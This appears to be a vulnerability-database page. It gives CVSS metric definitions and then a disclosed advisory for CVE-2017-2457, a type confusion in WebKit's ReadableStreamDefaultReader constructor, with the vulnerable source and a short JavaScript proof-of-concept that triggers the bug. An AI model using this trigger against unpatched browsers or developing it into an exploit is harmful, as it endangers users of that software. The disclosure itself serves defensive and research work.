The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
WebKit constructJSReadableStreamDefaultReader Type Confusion WebKit: Type confusion in constructJSReadableStreamDefaultReader
CVE-2017-2457
EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec)
{
VM& vm = exec.vm();
auto scope = DECLARE_THROW_SCOPE(vm);
JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0));
if (!stream)
return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");
JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1
CallData callData;
CallType callType = getCallData(jsFunction, callData);
MarkedArgumentBuffer noArguments;
return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments));
}
It doesn't check whether |getReader| is callable or not.
PoC:
let rs = new ReadableStream();
let cons = rs.getReader().constructor;
rs.getReader = 0x12345;
new cons(rs);
Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, <a href="https://crrev.com/210800" title="" class="" rel="nofollow">r210800</a>)
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: lokihardt
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